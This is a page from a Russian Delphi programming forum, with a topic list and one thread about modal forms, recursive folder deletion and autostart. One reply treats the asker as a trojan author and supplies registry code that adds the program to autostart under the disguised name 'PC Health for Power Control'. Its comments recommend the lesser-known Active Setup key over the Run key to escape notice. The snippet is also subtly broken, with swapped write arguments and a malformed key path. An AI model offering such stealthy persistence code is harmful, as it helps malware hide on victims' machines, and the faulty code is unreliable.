| Типы программирования, программирование, языки программирования, книги программирование | На сайте представлена информация про программирование в Интернете и работу |
|
Перехват вызовов функций, Способы перехвата NetBios in Delphi, у кого есть решение? !!!!!!!!!!!!ПОМОГИТЕ&#, КТО ЗАНИМАЕТЬСЯ ВЗЛОМОМ ПРОГРАММ Вопрос обо всем Обсчёт трафика! как вычислить IP адрес, programmnym putem! Как можно получить звук с микрофона?, Пример кода Удалить все файлы вместе с директорией Сортировка ListView при нажатии на заголовок, Пример кода Активная форма, Определить активная или нет сведения ICQ, Как получить сведения о ICQ Как работать с Outlook в Delphi, !!!!!!!!!!1ПОМОГИТЕ!!& Работа с почтой, НУЖНА ПОМОЩЬ Как найти окно по неполному названию, Пример кода ОПЫТНЫЙ и не только помогите!!!, ДВА ВОПРОСА Снова TQRCompositeReport Как обновить данные в программе? [D3, Win95/98], Как обновить данные в программе? [D3, Wi TreeView Определение версии винды..., определение версии винды Как узнать имя компьютера?, Пример кода Как Вы относитесь к курящим девушкам? Можно ли снести BIOS, Помогите пожайлуста!!!!!! Как програмно прокрутить Memo, Пример кода Как установить дополнительные компоненты ? Цвета, Как перекрасить TPageControl и TTabCon. Папка -> Файл, Как из папки сделать файл? анимированные изображения Как правильно закрыть..., ... модальную форму... Редактирование Шрифтов для матричных принтеров, Способы и методы exe формат Как перебрать контролы..., ... на форме или в панели.. QuickReport ПОМОГИТЕ ПОЖАЙЛУСТА, ОЧЕНЬ МНОГО ВОПРОСОВ FAQ по форуму, почему-бы не сделать..., ...и не выложить где-нить... Как спрятать окно..., ...при запуске приложения... Копирование с поврежденного носителя..., Копирование с поврежденного носителя... Как заказать сервисный процесс ? Создание экземпляра TWebBrowser в runtime FTP client, Киньте в меня сырцами клиента Delphi и Excel!!! Срочно, Delphi и Excel!!! Срочно Книги по Windows API, Кто может подсказать удачные? Не глобальный хук, Не глобальный хук Вращение для OpenGL, OGL Delphi Games, Кто хочет сделать игру на Delphi, заходи Обработка ошибок в ADODataSet Отжор памяти и как с ним бороться :) Плагины, Взаимодействие Программы с DLL Запись цвета в реестр... Как работать с Excel из Дельфи?? Одолевают сомнения, Периодический опрос буфера Извлечение иконок из EXE и DLL, Пример кода Нифига не понимаю...., API под XP и 98'ой ....:( Как Вы относитесь к курящим девушкам? Библиотека Ctr и Pentium2, Паскаль под Дос Таскание окошка... Определение IP. ЗАЧЕМ??? Перехват нажатия клавиши, Перехват нажатия клавиши Диалог выбора директории aka папки! Применение функции проверки..., Применение функции проверки... Изменить иконку, Как изменить иконку у exe-файла? Дядька Борланд - БРАКОДЕл или глюк в DELPHI 5.0, Глюк в Delphi 5 Насчет опроса про программирование в Delphi Обработка BMP Слежение за нажатием клавиш. Считать текст с IE Hook, hook Чужой COM объект, Есть ли доступ? Проги Из файла в массив..... Plug-in для IE, Как написать? |
Платные хостинги Раскрутка сайта Книги по программированию ОПЫТНЫЙ и не только помогите!!!, ДВА ВОПРОСА
- А где волшебное слово?Кроме того, не стоит делать название темы по типу: ОПЫТНЫЙ и не только помогите!!! Один вопрос - одна тема. - 1) Использовать Showmodal2) Тема обсуждалась: http://www.forum.vingrad.ru/cgi-bin....2;t=6523) Положить в реестр по адресу: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run - Для открытия формы ну жно создать такой код:Код uses: Unit2;...procedure TForm1.Button1Click(Sender: TObject);begin Form2.Showmodal;end;highlightSyntax('delphiYzY5Zj','delphi');Для удаления папки код такой:Код unit Unit1;interfaceuses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;type TForm1 = class(TForm) Button1: TButton; procedure DeleteFolder(Dir:string); procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end;var Form1: TForm1;implementation{$R *.DFM}function AdjustFolder(strFolder:string):string;var l:longint;begin strFolder:=Trim(strFolder); l:=Length(strFolder); if Copy(strFolder,l,l) = '\' then AdjustFolder:=strFolder else AdjustFolder:=strFolder + '\';end;procedure TForm1.DeleteFolder(Dir:string);var FData:WIN32_FIND_DATA; fHandle:LongInt;begin Dir:=AdjustFolder(Dir); fHandle:=FindFirstFile(PChar(Dir + '*.*'),FData); if fHandle < 0 then Exit; repeat begin if Ord(FData.cFileName[0]) <> 46 then begin if FData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY = FILE_ATTRIBUTE_DIRECTORY then begin DeleteFolder(Dir + FData.cFileName); RemoveDirectory(PChar(Dir + FData.cFileName)); end else Windows.DeleteFile(PChar(Dir + FData.cFileName)); end; end; until FindNextFile(fHandle,FData) = False; Windows.FindClose(fHandle);end;procedure TForm1.Button1Click(Sender: TObject);beginForm1.DeleteFolder('D:\Alex\Temp');end;end.highlightSyntax('delphiMThiOGZ','delphi'); - Ой, а товарищь наверное троян решил написать:В реестр так в реестр Код Тебе наверное надо объяснить на, что происходило по нажатию на кнопку,ну тогда вот:Ой, а товарищь наверное троян решил написать:В реестр так в реестр [CODE]unit Unit1;interfaceuses Windows, Messages, SysUtils,{}REGISTRY{}, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;type TForm1 = class(TForm) Button1: TButton; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end;var Form1: TForm1; RG : TRegistry; d:String; ident:string;implementation{$R *.DFM}procedure TForm1.Button1Click(Sender: TObject);begind:=application.exename; // определение Пути к твоему файлуident:='PC Health for Power Control,;';//Это название ключа в реестре можешь //вписать своё в кавычках//Вот первое место в реестре куда можно пихнуть, про него знает даже //моя бабушка поэтому сюда трои прописывать без мазы RG:=TRegistry.Create; RG.RootKey:=HKEY_LOCAL_MACHINE;RG.OpenKey ('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',False); RG.WriteString (d,ident); //___ RG.Destroy;//Для разнообразия в место Run(выше я его подчеркнул)//можно вписать: RunOnce, RunServices ,RunServicesOnce.//Ну да это всё для детей//А вот это для взрослых RG:=TRegistry.Create; RG.RootKey:=HKEY_LOCAL_MACHINE;RG.OpenKey ('Software\Microsoft\Active Setup\InstalledComponents\'{1}', False); RG.WriteString (d, ident); RG.Destroy;end;end.highlightSyntax('delphiGE1NTE','delphi');  |